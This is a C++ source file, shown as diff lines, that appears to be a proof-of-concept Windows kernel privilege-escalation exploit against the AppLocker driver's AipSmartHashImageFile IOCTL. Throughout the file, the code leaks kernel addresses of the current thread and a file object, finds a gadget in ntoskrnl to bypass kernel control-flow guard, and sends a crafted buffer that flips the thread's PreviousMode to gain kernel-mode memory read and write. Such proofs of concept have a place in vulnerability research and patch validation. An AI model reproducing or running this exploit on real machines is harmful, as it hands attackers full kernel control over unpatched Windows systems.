| 1 | + | #include "pch.hpp" |
| 2 | + | #include "poc.hpp" |
| 3 | + | |
| 4 | + | // This function is used to set the IOCTL buffer depending on the Windows version |
| 5 | + | void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_info) |
| 6 | + | { |
| 7 | + | os_info->dwOSVersionInfoSize = sizeof(*os_info); |
| 8 | + | |
| 9 | + | // Get the OS version |
| 10 | + | NTSTATUS status = RtlGetVersion(os_info); |
| 11 | + | if (!NT_SUCCESS(status)) { |
| 12 | + | log_err("Failed to get OS version!"); |
| 13 | + | return nullptr; |
| 14 | + | } |
| 15 | + | |
| 16 | + | log_debug("Windows version detected: %lu.%lu, build: %lu.", os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber); |
| 17 | + | |
| 18 | + | // "PreviousMode" offset in ETHREAD structure |
| 19 | + | *k_thread_offset = 0x232; |
| 20 | + | |
| 21 | + | // Set the "AipSmartHashImageFile" function buffer depending on the Windows version |
| 22 | + | void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000 |
| 23 | + | ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10)) |
| 24 | + | : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11)); |
| 25 | + | |
| 26 | + | return ioctl_buffer_alloc; |
| 27 | + | } |
| 28 | + | |
| 29 | + | // This function is used to get the ETHREAD address through the SystemHandleInformation method that is used to get the address of the current thread object based on the pseudo handle -2 |
| 30 | + | UINT_PTR c_poc::get_ethread_address() |
| 31 | + | { |
| 32 | + | // Duplicate the pseudo handle -2 to get the current thread object |
| 33 | + | HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2); |
| 34 | + | HANDLE h_duplicated_handle = {}; |
| 35 | + | |
| 36 | + | if (!DuplicateHandle( |
| 37 | + | reinterpret_cast<HANDLE>(-1), |
| 38 | + | h_current_thread_pseudo, |
| 39 | + | reinterpret_cast<HANDLE>(-1), |
| 40 | + | &h_duplicated_handle, |
| 41 | + | NULL, |
| 42 | + | FALSE, |
| 43 | + | DUPLICATE_SAME_ACCESS)) |
| 44 | + | { |
| 45 | + | log_err("Failed to duplicate handle, error: %lu", GetLastError()); |
| 46 | + | return EXIT_FAILURE; |
| 47 | + | } |
| 48 | + | |
| 49 | + | NTSTATUS status = {}; |
| 50 | + | ULONG ul_bytes = {}; |
| 51 | + | PSYSTEM_HANDLE_INFORMATION h_table_info = {}; |
| 52 | + | // Get the current thread object address |
| 53 | + | while ((status = NtQuerySystemInformation(SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) |
| 54 | + | { |
| 55 | + | if (h_table_info != NULL) |
| 56 | + | h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes)); |
| 57 | + | else |
| 58 | + | h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes)); |
| 59 | + | } |
| 60 | + | |
| 61 | + | UINT_PTR ptr_token_address = 0; |
| 62 | + | if (NT_SUCCESS(status)) { |
| 63 | + | for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { |
| 64 | + | if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && |
| 65 | + | h_table_info->Handles[i].HandleValue == |
| 66 | + | reinterpret_cast<USHORT>(h_duplicated_handle)) { |
| 67 | + | ptr_token_address = |
| 68 | + | reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); |
| 69 | + | break; |
| 70 | + | } |
| 71 | + | } |
| 72 | + | } |
| 73 | + | else { |
| 74 | + | if (h_table_info) { |
| 75 | + | log_err("NtQuerySystemInformation failed, (code: 0x%X)", status); |
| 76 | + | NtClose(h_duplicated_handle); |
| 77 | + | } |
| 78 | + | } |
| 79 | + | |
| 80 | + | return ptr_token_address; |
| 81 | + | } |
| 82 | + | |
| 83 | + | // This function is used to get the FileObject address through the SystemHandleInformation method that is used to get the address of the file object. |
| 84 | + | UINT_PTR c_poc::get_file_object_address() |
| 85 | + | { |
| 86 | + | // Create a dummy file to get the file object address |
| 87 | + | HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt", |
| 88 | + | GENERIC_READ | GENERIC_WRITE, |
| 89 | + | FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, |
| 90 | + | CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); |
| 91 | + | if (h_file == INVALID_HANDLE_VALUE) { |
| 92 | + | log_err("Failed to open dummy file, error: %lu", GetLastError()); |
| 93 | + | return EXIT_FAILURE; |
| 94 | + | } |
| 95 | + | |
| 96 | + | // Get the file object address |
| 97 | + | NTSTATUS status = {}; |
| 98 | + | ULONG ul_bytes = 0; |
| 99 | + | PSYSTEM_HANDLE_INFORMATION h_table_info = NULL; |
| 100 | + | while ((status = NtQuerySystemInformation( |
| 101 | + | SystemHandleInformation, h_table_info, ul_bytes, |
| 102 | + | &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { |
| 103 | + | if (h_table_info != NULL) |
| 104 | + | h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); |
| 105 | + | else |
| 106 | + | h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); |
| 107 | + | |
| 108 | + | } |
| 109 | + | |
| 110 | + | UINT_PTR token_address = 0; |
| 111 | + | if (NT_SUCCESS(status)) { |
| 112 | + | for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { |
| 113 | + | if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && |
| 114 | + | h_table_info->Handles[i].HandleValue == |
| 115 | + | reinterpret_cast<USHORT>(h_file)) { |
| 116 | + | token_address = |
| 117 | + | reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); |
| 118 | + | break; |
| 119 | + | } |
| 120 | + | } |
| 121 | + | } |
| 122 | + | |
| 123 | + | return token_address; |
| 124 | + | } |
| 125 | + | |
| 126 | + | // This function is used to get the kernel module address based on the module name |
| 127 | + | UINT_PTR c_poc::get_kernel_module_address(const char* target_module) |
| 128 | + | { |
| 129 | + | // Get the kernel module address based on the module name |
| 130 | + | NTSTATUS status = {}; |
| 131 | + | ULONG ul_bytes = {}; |
| 132 | + | PSYSTEM_MODULE_INFORMATION h_table_info = {}; |
| 133 | + | while ((status = NtQuerySystemInformation( |
| 134 | + | SystemModuleInformation, h_table_info, ul_bytes, |
| 135 | + | &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { |
| 136 | + | if (h_table_info != NULL) |
| 137 | + | h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); |
| 138 | + | else |
| 139 | + | h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); |
| 140 | + | } |
| 141 | + | |
| 142 | + | if (NT_SUCCESS(status)) { |
| 143 | + | for (ULONG i = 0; i < h_table_info->ModulesCount; i++) { |
| 144 | + | if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) { |
| 145 | + | return reinterpret_cast<UINT_PTR>( |
| 146 | + | h_table_info->Modules[i].ImageBaseAddress); |
| 147 | + | } |
| 148 | + | } |
| 149 | + | } |
| 150 | + | |
| 151 | + | return 0; |
| 152 | + | } |
| 153 | + | |
| 154 | + | // This function is used to scan the section for the pattern. |
| 155 | + | BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size, LPVOID* lp_found_address) { |
| 156 | + | std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]); |
| 157 | + | SIZE_T bytes_read = {}; |
| 158 | + | if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size, |
| 159 | + | &bytes_read)) { |
| 160 | + | return false; |
| 161 | + | } |
| 162 | + | |
| 163 | + | for (SIZE_T i = 0; i < dw_size - pattern_size; i++) { |
| 164 | + | if (memcmp(pattern, &buffer[i], pattern_size) == 0) { |
| 165 | + | *lp_found_address = reinterpret_cast<LPVOID>( |
| 166 | + | reinterpret_cast<DWORD_PTR>(lp_base_address) + i); |
| 167 | + | return true; |
| 168 | + | } |
| 169 | + | } |
| 170 | + | |
| 171 | + | return false; |
| 172 | + | } |
| 173 | + | |
| 174 | + | // This function is used to find the pattern in the module, in this case the pattern is the nt!ExpProfileDelete function |
| 175 | + | UINT_PTR c_poc::find_pattern(HMODULE h_module) |
| 176 | + | { |
| 177 | + | UINT_PTR relative_offset = {}; |
| 178 | + | |
| 179 | + | auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module); |
| 180 | + | auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>( |
| 181 | + | reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew); |
| 182 | + | auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers); |
| 183 | + | |
| 184 | + | LPVOID lp_found_address = nullptr; |
| 185 | + | |
| 186 | + | for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) { |
| 187 | + | if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") == |
| 188 | + | 0) { |
| 189 | + | LPVOID lp_section_base_address = |
| 190 | + | reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) + |
| 191 | + | p_section_header[i].VirtualAddress); |
| 192 | + | SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize; |
| 193 | + | |
| 194 | + | // Pattern to nt!ExpProfileDelete |
| 195 | + | BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, |
| 196 | + | 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 }; |
| 197 | + | SIZE_T pattern_size = sizeof(pattern); |
| 198 | + | |
| 199 | + | if (this->scan_section_for_pattern( |
| 200 | + | GetCurrentProcess(), lp_section_base_address, dw_section_size, |
| 201 | + | pattern, pattern_size, &lp_found_address)) { |
| 202 | + | relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) - |
| 203 | + | reinterpret_cast<UINT_PTR>(h_module); |
| 204 | + | } |
| 205 | + | |
| 206 | + | break; |
| 207 | + | } |
| 208 | + | } |
| 209 | + | |
| 210 | + | return relative_offset; |
| 211 | + | } |
| 212 | + | |
| 213 | + | // This function is used to send the IOCTL request to the driver, in this case the AppLocker driver through the AipSmartHashImageFile IOCTL |
| 214 | + | bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t input_buffer_length) |
| 215 | + | { |
| 216 | + | IO_STATUS_BLOCK io_status = {}; |
| 217 | + | NTSTATUS status = |
| 218 | + | NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status, |
| 219 | + | this->IOCTL_AipSmartHashImageFile, input_buffer, |
| 220 | + | input_buffer_length, nullptr, 0); |
| 221 | + | return NT_SUCCESS(status); |
| 222 | + | } |
| 223 | + | |
| 224 | + | // This function executes the exploit |
| 225 | + | bool c_poc::act() { |
| 226 | + | // Get the OS version, set the IOCTL buffer and open a handle to the AppLocker driver |
| 227 | + | OSVERSIONINFOEXW os_info = {}; |
| 228 | + | size_t offset_of_previous_mode = {}; |
| 229 | + | auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode, &os_info); |
| 230 | + | |
| 231 | + | if (!ioctl_buffer) { |
| 232 | + | log_err("Failed to allocate the correct buffer to send on the IOCTL request."); |
| 233 | + | return false; |
| 234 | + | } |
| 235 | + | |
| 236 | + | // Open a handle to the AppLocker driver |
| 237 | + | OBJECT_ATTRIBUTES object_attributes = {}; |
| 238 | + | UNICODE_STRING appid_device_name = {}; |
| 239 | + | RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID"); |
| 240 | + | InitializeObjectAttributes(&object_attributes, &appid_device_name, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL); |
| 241 | + | |
| 242 | + | IO_STATUS_BLOCK io_status = {}; |
| 243 | + | HANDLE h_device = {}; |
| 244 | + | NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE, |
| 245 | + | &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL, |
| 246 | + | FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0); |
| 247 | + | |
| 248 | + | if (!NT_SUCCESS(status)) |
| 249 | + | { |
| 250 | + | log_debug("Failed to open a handle to the AppLocker driver (%ls) (code: 0x%X)", appid_device_name.Buffer, status); |
| 251 | + | return false; |
| 252 | + | } |
| 253 | + | |
| 254 | + | log_debug("AppLocker (AppId) handle opened: 0x%p", h_device); |
| 255 | + | |
| 256 | + | log_debug("Leaking the current ETHREAD address."); |
| 257 | + | |
| 258 | + | // Get the ETHREAD address, FileObject address, KernelBase address and the relative offset of the nt!ExpProfileDelete function |
| 259 | + | auto e_thread_address = this->get_ethread_address(); |
| 260 | + | auto file_obj_address = this->get_file_object_address(); |
| 261 | + | |
| 262 | + | auto ntoskrnl_kernel_base_address = this->get_kernel_module_address("ntoskrnl.exe"); |
| 263 | + | auto ntoskrnl_user_base_address = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL); |
| 264 | + | |
| 265 | + | if (!e_thread_address && !ntoskrnl_kernel_base_address && !ntoskrnl_user_base_address && !file_obj_address) |
| 266 | + | { |
| 267 | + | log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses."); |
| 268 | + | return false; |
| 269 | + | } |
| 270 | + | |
| 271 | + | log_debug("ETHREAD address leaked: 0x%p", e_thread_address); |
| 272 | + | |
| 273 | + | log_debug("Feching the ExpProfileDelete (user cfg gadget) address."); |
| 274 | + | auto relative_offset = this->find_pattern(ntoskrnl_user_base_address); |
| 275 | + | UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address + relative_offset); |
| 276 | + | |
| 277 | + | ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode); |
| 278 | + | log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode); |
| 279 | + | log_debug("File object address -> 0x%p", file_obj_address); |
| 280 | + | |
| 281 | + | log_debug("kCFG Kernel Base address -> 0x%p", ntoskrnl_kernel_base_address); |
| 282 | + | log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address); |
| 283 | + | log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address); |
| 284 | + | |
| 285 | + | // Set the IOCTL buffer depending on the Windows version |
| 286 | + | size_t ioctl_buffer_length = {}; |
| 287 | + | CFG_FUNCTION_WRAPPER kcfg_function = {}; |
| 288 | + | if (os_info.dwBuildNumber < 22000) { |
| 289 | + | AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer; |
| 290 | + | |
| 291 | + | kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; |
| 292 | + | // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag |
| 293 | + | UINT_PTR previous_mode_obf = previous_mode + 0x30; |
| 294 | + | |
| 295 | + | w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 |
| 296 | + | w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 |
| 297 | + | w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 |
| 298 | + | |
| 299 | + | ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10); |
| 300 | + | } |
| 301 | + | else |
| 302 | + | { |
| 303 | + | AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer; |
| 304 | + | |
| 305 | + | kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; |
| 306 | + | // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag |
| 307 | + | UINT_PTR previous_mode_obf = previous_mode + 0x30; |
| 308 | + | |
| 309 | + | w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 |
| 310 | + | w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 |
| 311 | + | w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 |
| 312 | + | w11_ioctl_buffer->Unknown = NULL; // +0x18 |
| 313 | + | |
| 314 | + | ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11); |
| 315 | + | } |
| 316 | + | |
| 317 | + | // Send the IOCTL request to the driver |
| 318 | + | log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)"); |
| 319 | + | char* buffer = (char*)malloc(sizeof(CHAR)); |
| 320 | + | if (ioctl_buffer) |
| 321 | + | { |
| 322 | + | log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer, ioctl_buffer_length); |
| 323 | + | |
| 324 | + | if (!this->send_ioctl_request(h_device, ioctl_buffer, ioctl_buffer_length)) |
| 325 | + | return false; |
| 326 | + | |
| 327 | + | NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)previous_mode, sizeof(CHAR), nullptr); |
| 328 | + | log_debug("Current PreviousMode -> %d", *buffer); |
| 329 | + | |
| 330 | + | // From now on all Read/Write operations will be done in Kernel Mode. |
| 331 | + | } |
| 332 | + | |
| 333 | + | log_debug("Restoring..."); |
| 334 | + | |
| 335 | + | // Restores PreviousMode to 1 (user-mode). |
| 336 | + | *buffer = 1; |
| 337 | + | NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode, (PVOID)buffer, sizeof(CHAR), nullptr); |
| 338 | + | log_debug("Current PreviousMode -> %d", *buffer); |
| 339 | + | |
| 340 | + | // Free the allocated memory and close the handle to the AppLocker driver |
| 341 | + | free(ioctl_buffer); |
| 342 | + | free(buffer); |
| 343 | + | NtClose(h_device); |
| 344 | + | |
| 345 | + | |
| 346 | + | return true; |
| 347 | + | } |